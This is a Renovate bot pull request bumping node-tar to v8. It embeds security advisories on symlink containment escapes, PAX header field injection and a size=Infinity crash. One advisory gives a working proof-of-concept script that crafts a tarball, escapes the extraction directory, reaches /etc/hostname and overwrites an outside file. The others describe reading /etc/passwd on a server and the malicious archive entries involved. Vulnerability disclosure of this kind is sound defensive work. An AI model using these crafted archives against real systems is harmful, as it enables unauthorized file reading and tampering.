Repository navigation
chore(deps): update dependency tar@<=7.5.17 to v8 [security] - #6513
Open
renovate[bot] wants to merge 1 commit into
Open
renovate[bot] wants to merge 1 commit into
renovate[bot] wants to merge 1 commit into
Conversation
|
✅ Meticulous spotted 0 visual differences across 14 screens tested: view results. Meticulous evaluated ~4 hours of user flows against your PR. Expected differences? Click here. Last updated for commit |
renovate
Bot
force-pushed
the
renovate/npm-tar-=7.5.17-vulnerability
branch
from
December 4, 2026 09:15
eda00ec to
a1b6d6d
Compare
renovate
Bot
force-pushed
the
renovate/npm-tar-=7.5.17-vulnerability
branch
from
December 4, 2026 09:19
a1b6d6d to
c5b0770
Compare
renovate
Bot
force-pushed
the
renovate/npm-tar-=7.5.17-vulnerability
branch
from
December 4, 2026 10:31
c5b0770 to
9931b56
Compare
renovate
Bot
force-pushed
the
renovate/npm-tar-=7.5.17-vulnerability
branch
from
December 4, 2026 15:54
9931b56 to
787e3d8
Compare
renovate
Bot
force-pushed
the
renovate/npm-tar-=7.5.17-vulnerability
branch
from
December 4, 2026 21:08
787e3d8 to
5598531
Compare
renovate
Bot
force-pushed
the
renovate/npm-tar-=7.5.17-vulnerability
branch
from
December 5, 2026 02:09
5598531 to
5a072e8
Compare
renovate
Bot
force-pushed
the
renovate/npm-tar-=7.5.17-vulnerability
branch
from
December 5, 2026 06:14
5a072e8 to
f6d6f67
Compare
renovate
Bot
force-pushed
the
renovate/npm-tar-=7.5.17-vulnerability
branch
from
December 5, 2026 10:36
f6d6f67 to
df69b2e
Compare
renovate
Bot
force-pushed
the
renovate/npm-tar-=7.5.17-vulnerability
branch
from
December 5, 2026 14:00
df69b2e to
ba653b6
Compare
renovate
Bot
force-pushed
the
renovate/npm-tar-=7.5.17-vulnerability
branch
from
December 6, 2026 01:50
ba653b6 to
5797f1b
Compare
renovate
Bot
force-pushed
the
renovate/npm-tar-=7.5.17-vulnerability
branch
from
December 6, 2026 04:54
5797f1b to
0857d51
Compare
This branch was successfully deployed
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
7.5.18→8.0.2node-tar: Symlink target escapes the extraction directory through an in-archive symlink chain
CVE-2026-140249 / GHSA-4pf9-5fpx-xmr6
More information
Details
Summary
Summary
With default options, tar.x() in tar 7.5.5 through 7.5.23 (the latest release) creates a symbolic link that points outside the extraction directory, and raises no warning. The archive needs only a directory and two symlinks. This breaks the README's listed protection that "Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder."
This is not the TOCTOU case (no one but tar touches the extraction folder) and not an old version: it reproduces on 7.5.23 and on main (eb92e17), with default options.
Details
x/ Directory
x/y -> .. (resolves to cwd: allowed)
l -> x/y/../secret.txt (checked as cwd/x/secret.txt; really cwd/../secret.txt)
Repeating the x/y/ step reaches any absolute path: x/y/ × 8 followed by ../ × 16 and etc/hostname fits in the 100-byte ustar linkpath field and points at /etc/hostname. Entry order does not matter; the link can come before or after x/y.
This is the same chain as the proof of concept in GHSA-83g3-92jg-28cx (CVE-2026-26960). That fix blocked the hardlink created through the chain; the symlink itself is still created. 7.5.3 and 7.5.4 reject it (they refused any .. in a linkpath); the regression came with the relaxation in #450 ("Allow unpacking symlinks that don't escape cwd") in 7.5.5. Versions ≤ 7.5.2 also create the link but are already covered by GHSA-8qq5-rm4j-mr97.
Suggested fix
Create the symlink with the same normalized target that [STRIPABSOLUTEPATH] validated, instead of the raw linkpath. Patch against main (eb92e17):
--- a/src/unpack.ts
+++ b/src/unpack.ts
@@ -651,7 +651,23 @@ export class Unpack extends Parser {
entry,
this.cwd,
parts,
It was created as x/secret.txt and stays inside cwd. There is also a regression test, test/symlink-chain-escape.ts, covering both entry orders with async and sync extraction: it fails on main and passes with the patch. The full suite passes with the patch (tap: 21,254 of 21,254). An adjusted approach for example, could be resolving each linkpath component against the extraction tree instead of normalizing lexically, preserving link targets byte-for-byte but at more cost.
Proof of concept
Save as poc.cjs next to a node_modules/tar install and run node poc.cjs ./node_modules/tar ./work. It builds the archive with tar's own Header, extracts it with default options (async and sync), and then does what an application normally does next: writes to a file by its name in the archive.
const fs = require('fs')
const path = require('path')
const tar = require(path.resolve(process.argv[2]))
const work = path.resolve(process.argv[3])
fs.rmSync(work, { recursive: true, force: true })
const cwd = path.join(work, 'extract')
fs.mkdirSync(cwd, { recursive: true })
const secret = path.join(work, 'secret.txt') // outside the extraction dir
fs.writeFileSync(secret, 'ORIGINAL\n')
const entries = [
{ path: 'x/', type: 'Directory' },
{ path: 'x/y', type: 'SymbolicLink', linkpath: '..' },
{ path: 'l', type: 'SymbolicLink', linkpath: 'x/y/../secret.txt' },
{ path: 'deep', type: 'SymbolicLink',
linkpath: 'x/y/'.repeat(8) + '../'.repeat(16) + 'etc/hostname' },
]
const blocks = []
for (const e of entries) {
const b = Buffer.alloc(512)
new tar.Header({ ...e, mode: 0o755, size: 0, mtime: new Date(0) }).encode(b, 0)
blocks.push(b)
}
blocks.push(Buffer.alloc(1024))
const tarFile = path.join(work, 'poc.tar')
fs.writeFileSync(tarFile, Buffer.concat(blocks))
const run = async (sync) => {
fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd)
fs.writeFileSync(secret, 'ORIGINAL\n')
const warns = []
const opts = { cwd, file: tarFile, onwarn: (c, m) => warns.push(c + ' ' + m) }
if (sync) tar.x({ ...opts, sync: true }); else await tar.x(opts)
console.log(
--- tar.x({cwd, file${sync ? ', sync:true' : ''}}))console.log('warnings:', warns.length ? warns : 'none')
console.log('readlink l ->', fs.readlinkSync(path.join(cwd, 'l')))
console.log('realpath l ->', fs.realpathSync.native(path.join(cwd, 'l')))
console.log('realpath deep ->', fs.realpathSync.native(path.join(cwd, 'deep')))
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
console.log('secret.txt now ->', JSON.stringify(fs.readFileSync(secret, 'utf8')))
}
run(false).then(() => run(true))
Output on tar 7.5.23, Node 22.23.4, Linux:
--- tar.x({cwd, file})
warnings: none
readlink l -> x/y/../secret.txt
realpath l -> /secret.txt
realpath deep -> /etc/hostname
secret.txt now -> "PWNED\n"
--- tar.x({cwd, file, sync:true})
warnings: none
readlink l -> x/y/../secret.txt
realpath l -> /secret.txt
realpath deep -> /etc/hostname
secret.txt now -> "PWNED\n"
Same result on 7.5.5, 7.5.11 and on main (eb92e17), and with open PR #470 applied. 7.5.4 rejects all three links (TAR_ENTRY_ERROR linkpath contains '..').
Impact
An attacker who supplies a tarball can make tar.x() with default options leave symlinks inside the extraction directory that point to any path on the system. tar itself does not write through them, but any later read or write of the extracted files by the application follows them: the PoC overwrites a file outside the extraction directory and resolves a link to /etc/hostname. This gives arbitrary file read and write as the extracting user, the same impact as GHSA-83g3-92jg-28cx and GHSA-9ppj-qmqm-q256.
Applications that follow the README's advice to filter out link entries for untrusted input are not affected; npm itself filters links from package artifacts.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
node-tar: Symlink containment bypass via chained symlinks lets tar.x() create links that resolve outside the extraction directory (regression since 7.5.5)
CVE-2026-140250 / GHSA-3wwj-8j6r-q339
More information
Details
Summary
With default options,
tar.x()intar@7.5.22(and every release since 7.5.5) extracts a symbolic link that resolves outside the extraction directory when the link target passes through another symlink from the same archive and then uses..— for examplesub/up -> ..followed byesc -> sub/up/... Both symlink-target checks collapse..lexically before considering symlinks, so the intermediate symlink is never seen, while the kernel resolves it before applying... With enough nesting the extracted link resolves to/.This breaks the README guarantee that "
LinkandSymbolicLinkentries are not allowed to target locations outside of the extraction folder", and gives any application that later reads or writes extracted paths file read/write outside the extraction root (the same impact model as GHSA-9ppj-qmqm-q256). It is a regression of the containment added for GHSA-8qq5-rm4j-mr97 (7.5.3–7.5.4 reject the chain; 7.5.5–7.5.22 accept it), and it also bypasses the[SYMLINK]check added for GHSA-83g3-92jg-28cx. A self-contained PoC, measured version matrix, and a remote-read deployment example are below.Details
Malicious archive
Three entries, no file contents needed:
On disk, the kernel resolves
escassub/up→<cwd>, then..→ parent of<cwd>.Root cause 1 — lexical escape check in
[STRIPABSOLUTEPATH]src/unpack.ts:284-291at v7.5.22 (dist/commonjs/unpack.js:278-281):For
esc,sub/up/..normalizes tosub, so it passes. The comment's assumption ("tar paths, not a filesystem") does not hold once an earlier entry of the same archive has createdsub/upas a real symlink on disk. This relaxation was introduced in 7.5.5 by e9a1ddb ("fix: do not prevent valid linkpaths within archive", PR #450). 7.5.3 and 7.5.4 rejected any..in a linkpath and are not affected.Root cause 2 — the symlink-component check also runs after normalization in
[SYMLINK]src/unpack.ts:640-650(dist/commonjs/unpack.js:551):path.resolvecollapsessub/up/..tosub, so[ENSURE_NO_SYMLINK](src/unpack.ts:679-696) onlylstatssub(a real directory) and never sees the symlinksub/up. This check was added by d18e4e1 ("do not write linkpaths through symlinks"), the fix for GHSA-83g3-92jg-28cx, and the same normalization bypasses it. Separately,[ENSURE_NO_SYMLINK]treats a missing component as safe (if (er) return done()), so even a walk over the raw components would depend on entry order.Reaching any ancestor, up to
/With N nested directories:
rootresolves N levels above<cwd>, which is/once N is at least the depth of<cwd>. The PoC uses N = 12.What node-tar still blocks
Writing a file entry or creating a hardlink through the escaping link from inside the same archive is rejected (
TAR_SYMLINK_ERROR: Cannot extract through symbolic link). The impact appears when the application accesses paths under the extraction directory afterwards — the same model as GHSA-9ppj-qmqm-q256 ("Writing through the extracted symlink overwrites the outside file").Affected versions (measured)
The PoC below was run against each version, installed with
--ignore-scripts:esc -> ../esc -> sub/up/..linkpath contains '..')Relation to published advisories
a/b/escape -> c/up/../..) to route a hardlink. Hardlinks through the chain are now blocked, but the escaping symlink itself is still created, and the[SYMLINK]check added by that fix is bypassed.C:..).Proof of concept
Environment used
tar@7.5.22(npmlateston 2026-10-30; tarball sha256b792c2d1c7fc770910522ca1ffc29eee02ee38de4fa3a01e7832eb705879c6c6, npm shasuma696f998136e71487dc3f869a85bba2c67971ba9)node:22-slim, Linux kernel 6.18tar.x({ file, cwd }), nopreservePaths, nofilter)Files
Save both files below in an empty directory.
repro.cjs— builds the archives with tar's ownHeaderclass. No other dependencies. Everything is written under./work. It prints JSON and exits with code 1 when vulnerable.run.sh— optional isolated run in Docker (install with network, proof without network, as your own uid):Steps
Option A, in Docker:
Option B, without Docker (Linux/macOS). This reads
/etc/passwdthrough the extracted link and writes only under./work:Output with tar@7.5.22
{ "node": "v22.23.4", "tar": "7.5.22", "platform": "linux", "verdict": "VULNERABLE", "results": [ { "case": "0 control: esc -> ../", "warnings": [ "TAR_ENTRY_ERROR: linkpath escapes extraction directory" ], "created": false }, { "case": "1 chain: sub/up -> .., esc -> sub/up/..", "warnings": [], "created": true, "linkpath": "sub/up/..", "realpath": "/poc/work/uploads/job-1", "escapes": true, "read_OUT_esc_config_json": "{\"admin\":false}", "outside_config_after_write": "{\"admin\":true}" }, { "case": "2 chain depth 12: root -> d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..", "warnings": [], "created": true, "linkpath": "d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..", "realpath": "/", "escapes": true, "read_OUT_root_etc_passwd": "root:x:0:0:root:/root:/bin/bash", "read_sibling_job_secret": "OTHER-JOB-SECRET" } ] }What it shows:
../link is rejected, so containment is working.escresolves to the parent of the extraction dir (.../job-1). Readingout/esc/config.jsonreturns the parent's file, and writing to it changes the file outside the extraction dir./.out/root/etc/passwdand another job's file (uploads/job-0-secret.txt) are readable through it.The outputs were identical across 3 consecutive runs, and the async API (
await tar.x({ file, cwd })) gives the same result.Output with tar@7.5.4 (comparison)
{ "node": "v22.23.4", "tar": "7.5.4", "platform": "linux", "verdict": "NOT VULNERABLE", "results": [ { "case": "0 control: esc -> ../", "warnings": [ "TAR_ENTRY_ERROR: linkpath contains '..'" ], "created": false }, { "case": "1 chain: sub/up -> .., esc -> sub/up/..", "warnings": [ "TAR_ENTRY_ERROR: linkpath contains '..'", "TAR_ENTRY_ERROR: linkpath contains '..'" ], "created": false }, { "case": "2 chain depth 12: root -> d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..", "warnings": [ "TAR_ENTRY_ERROR: linkpath contains '..'", "TAR_ENTRY_ERROR: linkpath contains '..'" ], "created": false } ] }Expected (safe) behavior
The chained entries are rejected the same way as the control, with a
TAR_ENTRY_ERRORwarning, or are created so that they resolve insidecwd. The script then prints"verdict": "NOT VULNERABLE"and exits with code 0. It doubles as a regression check for a fix.Note: Node's JS
fs.realpathSyncnormalizes..lexically and reports an in-root path foresc. The PoC therefore usesfs.realpathSync.native, which returns the same result asreadlink -f.Deployment example: unauthenticated remote file read
A common pattern is a service that extracts an uploaded tarball into a per-user directory and serves it with
express.static(defaults). The uploaded archive containsindex.htmlplus the depth-12 chain namedassets. The server listens on 127.0.0.1 only and exits after three requests.serve-demo.cjs:Run:
npm init -y && npm install --ignore-scripts tar@7.5.22 express@5 node serve-demo.cjsOutput (Docker,
--network none, loopback only):{ "tar": "7.5.22", "express": "5.3.0", "requests": [ { "path": "/sites/user-123/index.html", "status": 200, "first_line": "hello" }, { "path": "/sites/user-123/assets/etc/passwd", "status": 200, "first_line": "root:x:0:0:root:/root:/bin/bash" }, { "path": "/sites/user-123/assets/etc/hostname", "status": 200, "first_line": "edab13260d70" } ] }Impact
Vulnerability type: link following and path traversal in archive extraction (CWE-59, CWE-22). With default options,
tar.x()creates a symlink inside the extraction directory that resolves outside it, up to/. This breaks the README's documented guarantee forSymbolicLinkentries.Who is impacted: applications that extract attacker-controlled tarballs with
tar7.5.5–7.5.22 using default options and then access paths under the extraction directory. Examples: serving extracted files (as in theexpress.staticexample), reading or post-processing them, writing results or configuration into the extracted tree, or copying files out while following links. The README promises that link targets stay inside the extraction folder, so applications reasonably rely on that instead of adding their own link filter.What an attacker gains: read and write access to files outside the extraction root, with the privileges of the extracting process. This can include other users' uploads in a shared parent directory, application configuration, keys readable by the service account, and any writable file. Demonstrated above:
/etc/passwdand another job's fileexpress.staticNot required:
preservePaths, special filesystems, race conditions, or Windows.Remediation idea (untested proposal): accept a
SymbolicLinklinkpath only when every..segment comes before any other segment, i.e. only leading../segments, bounded by the entry's depth.sub/up/..is then rejected, while../sibling/file(the case PR #450 wanted to allow) stays valid...through another link, so chains cannot leavecwd. The rule does not depend on entry order.repro.cjsabove can serve as the regression test: it must printNOT VULNERABLE.Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
node-tar: Symlink linkpath containment bypass via entry paths ending in '/.'
CVE-2026-140245 / GHSA-jmj2-9c5q-vw73
More information
Details
Summary
A relative symlink linkpath is validated against path.posix.dirname(entry.path) but created at path.resolve(cwd, entry.path). An entry named 'x/.' shifts the check's base one level shallower, so one '..' is absorbed by the check and the link still escapes the extraction directory, with default options and no warning. Regression in 7.5.5-7.5.22 (introduced by the #450 fix).
Details
Mechanism
[STRIPABSOLUTEPATH]resolves a relativelinkpathagainstpath.posix.dirname(entry.path)(src/unpack.ts:286), but the link is created atpath.resolve(cwd, entry.path)(src/unpack.ts:359).For an entry name ending in
/.,dirnamereturns a base one level shallower than the directory the link is actually created in. The check therefore normalisesx/../outside/secret.txttooutside/secret.txt, which passesstartsWith('../')at:291, while the kernel resolves the link fromcwdand lands outside the destination.Affected
>= 7.5.5, <= 7.5.22. The regression was introduced bye9a1ddb(the #450 relative-linkpath fix).7.5.4rejects the entry withlinkpath contains '..'.Fix
Using the same base the filesystem will use makes the check and the write agree. Verified against a 1,464-pair property corpus: 300 buggy pairs rejected, 0 legitimate pairs rejected, 0 new accepts; 677 existing tests pass.
Notes
Distinct from GHSA-9ppj-qmqm-q256: that finding is a malicious linkpath string (
C:..); here the linkpath is ordinary and the defect is the entry-path base computation. #450 introduced this code, so it is the regression rather than a duplicate.Proof of concept
Reproduced against the npm-published
tar@7.5.22(not only a source checkout), with one archive entry and default options:The
x/.entry is created with the escaped target, with default options, and emits no warning. It also works withstrip: 1, PAXpathand GNUL.PoC and controls:
poc-linkpath-pad.mjsplus a version-regression script (7.5.2 vs 7.5.22).Impact
A crafted archive can create a symlink pointing outside the extraction directory using default options and without any warning.
node-tar's own subsequent entries cannot follow the link —mkdirrefuses symlink parents and file writes useO_NOFOLLOW— so the outside write is consumer-mediated: a caller that later writes through the extracted path writes outside the destination. This is the same impact model as the accepted GHSA-9ppj-qmqm-q256 / CVE-2026-31802, and it is not claimed to be an in-library write or npm RCE.Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
node-tar parses PAX extended headers by newline-splitting instead of length-delimiting, causing record dropping and forged-field injection
CVE-2026-140235 / GHSA-rgjp-p5j7-w36x
More information
Details
Summary
node-tar parses POSIX pax extended headers by splitting the header body on every newline and validating each resulting line's length prefix, instead of consuming length-delimited records as the format specifies. A record whose value contains a newline (which occurs legitimately whenever an archived filename contains a newline) is mishandled two ways: the true record is dropped (the entry falls back to its truncated 100-byte header name), and any post-newline fragment that itself forms a self-valid
<length> key=valueline is applied as a real extended-header field. This is a cross-implementation divergence and an arbitrary PAX-field injection primitive (path,size,linkpath,mode,uid,gid,mtime) driven by a single attacker-controlled filename or crafted archive.Details
POSIX pax records are
<len> key=value\n, where<len>counts the entire record including any newline inside the value. Splitting on\nbreaks a record whose value contains a newline into fragments: the leading fragment fails then === byteLength+1check and is discarded, and a trailing fragment such as24 path=forged-name.txtpasses the check and is applied. The maintainer's own in-codeXXXcomment documents the limitation. A related facet in the same parser: numeric fields are coerced with JavaScript+v(src/pax.ts:196, 205), sosize=0x10,size=1e3,size=1.5, andsize=Infinityparse only in node-tar while GNU tar and Python tarfile reject or fall back, a separate three-way numeric divergence.PoC
Validated on source main @ 2a22bfc and against the published npm package
tar@7.5.22, Node v24.19.0, compared with GNU tar 1.35 and Python 3.13.Observed reading
/tmp/paxnl/gnu.tar:GNU tar and Python read every file under its true (long) name with correct attributes; node-tar drops the real records and applies the forged ones. The forged
linkpathon a plain File is itself the injection route into the path-reservation deadlock (advisory 01), and the forgedsizefeeds the meta-entry desync (advisory 02).Impact
Integrity via cross-implementation divergence. A single attacker-controlled filename in a directory that a victim archives with any length-compliant packer (GNU tar, bsdtar, Python tarfile), later extracted or listed by a node-tar consumer, or simply a hand-crafted archive, makes node-tar assign an arbitrary
path,size,linkpath,mode,uid/gid, ormtimeto an entry that every compliant reader sees differently. This defeats name-based and attribute-based inspection and provides an injection route into the two issues above. In default extraction mode the effect is confined to the extraction root (path sanitisation still applies); withpreservePathsthe forged path may be absolute or contain... node-tar also cannot round-trip archives it writes itself when filenames contain newlines.Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
node-tar: Non-finite PAX size (Infinity) bypasses validation, causing extraction entry loss and an uncaught exception when re-packing
CVE-2026-140242 / GHSA-ph3c-p786-j4rp
More information
Details
Summary
tar(node-tar) does not validate that a numericsizevalue supplied through a PAX extended header (typeflagx) is finite before it is applied to the following archive entry. A PAX record such as17 size=Infinity\nis coerced to the JavaScript numberInfinityand accepted, because the only guard on the value is a>= 0check andInfinity >= 0is true. The non-finite size then propagates into the entry-body state machine and, when the entry is re-packed, into numeric header encoding. Any process that parses, extracts, lists, or re-packs an attacker-supplied archive is affected; no authentication or non-default configuration is required.Root Cause
The PAX key/value parser assigns the
sizefield after a check that was designed only to reject negative values. It never checks that the coerced number is finite or a safe integer, soInfinity(and other non-finite positive values) pass.The
>= 0guard was added to reject negative sizes. It does not enforce finiteness. The secondary guardnotNegative()insrc/header.tshas the same gap:Infinity < 0is false, so it returnsInfinityunchanged. As a result the entry'ssizebecomesInfinityand reaches two distinct sinks: the parser body-length state machine and the numeric header encoder used during re-packing.Impact
An unauthenticated remote attacker who can supply a tar archive to a consumer of this library obtains two demonstrated denial-of-service primitives, both from a single crafted archive with no user interaction:
Infinity, the parser never transitions out of the body-consumption state, and every subsequent entry in the archive is silently consumed as body data. Extraction appears to succeed while dropping all following entries. ATAR_BAD_ARCHIVEwarning is emitted only at end-of-archive and is ignored by consumers that do not run in strict mode.tar.replace()/tar.update()@archivemerge syntax, which callspack.add(entry)on each existing entry), theInfinitysize reaches the numeric header encoder, which throwsError("cannot encode number outside of javascript safe integer range")synchronously. The throw is not caught inside the packer, so it surfaces as an uncaught exception and terminates the process.Both impacts were reproduced against the current published release. The re-packing crash is the worst credible outcome (loss of availability of the host process).
Proof of Concept
The crafted archive contains a PAX extended header that sets
size=Infinityon the next file entry, followed by two ordinary file entries and the end-of-archive marker. The single PAX record17 size=Infinity\nis exactly 17 bytes, matching its own length prefix, so it parses cleanly.Attack Chain
17 size=Infinity\nsatisfies the length-prefix check (17 === Buffer.byteLength("17 size=Infinity") + 1), so it is parsed verbatim.parseKVLinereaches thesizecase, computes+"Infinity" === Infinity, and theif (s >= 0)guard passes becauseInfinity >= 0is true. The value flows throughHeader(notNegative(Infinity) === Infinity) into the read entry, whereremain,startBlockSize, andblockRemainall becomeInfinity.parseKVLineandnotNegative(). The>= 0check only rejects negatives; no check rejectsInfinity,-Infinity,NaN, or values outside the safe-integer range.if (!entry.blockRemain)is!Infinity === false, so the parser never returns to the header state and consumes all remaining bytes as this entry's body. In the packing path, the numeric encoder receivesInfinity, failsNumber.isSafeInteger(Infinity), and throws synchronously with no surrounding catch.Bypass Evidence
The only relevant guard is the
>= 0size check (added to reject negative sizes) and its cousinnotNegative(). Neither blocks this vector, verified against the runtime and the published source:+"Infinity" === InfinityandInfinity >= 0 === true, soparseKVLinestoresInfinity.notNegative(Infinity)returnsInfinitybecauseInfinity < 0is false.!Infinity === false, so the parser body-state exit condition is never met.Number.isSafeInteger(Infinity) === false, so the numeric encoder throws.Disproof attempts that failed: the PAX header data size limit only bounds the extended-header block itself (17 bytes here), not the injected file size; the read-entry write-length check
data.length > remainis always false againstInfinityand never rejects data; no alternate parser state transition exists to recover from the stuck body state; and no try/catch exists anywhere alongpack.add()toWriteEntryTarto numeric header encoding. This is not the previously fixed negative-size issue (that fix addressed a different input class, negative values) and it is not the NUL-byte string sanitization issue (that fix strips NUL bytes from string fields and has no effect on the string"Infinity", which contains no NUL). The affected field here is the numericsize, and the root cause is missing finiteness validation.Affected Versions
Ecosystem: npmPackage: tarConfirmed affected range: >= 7.0.0, <= 7.5.22Latest release checked: 7.5.22 (npm registry, dist-tag latest)Fix status: not fixed as of 7.5.22The vu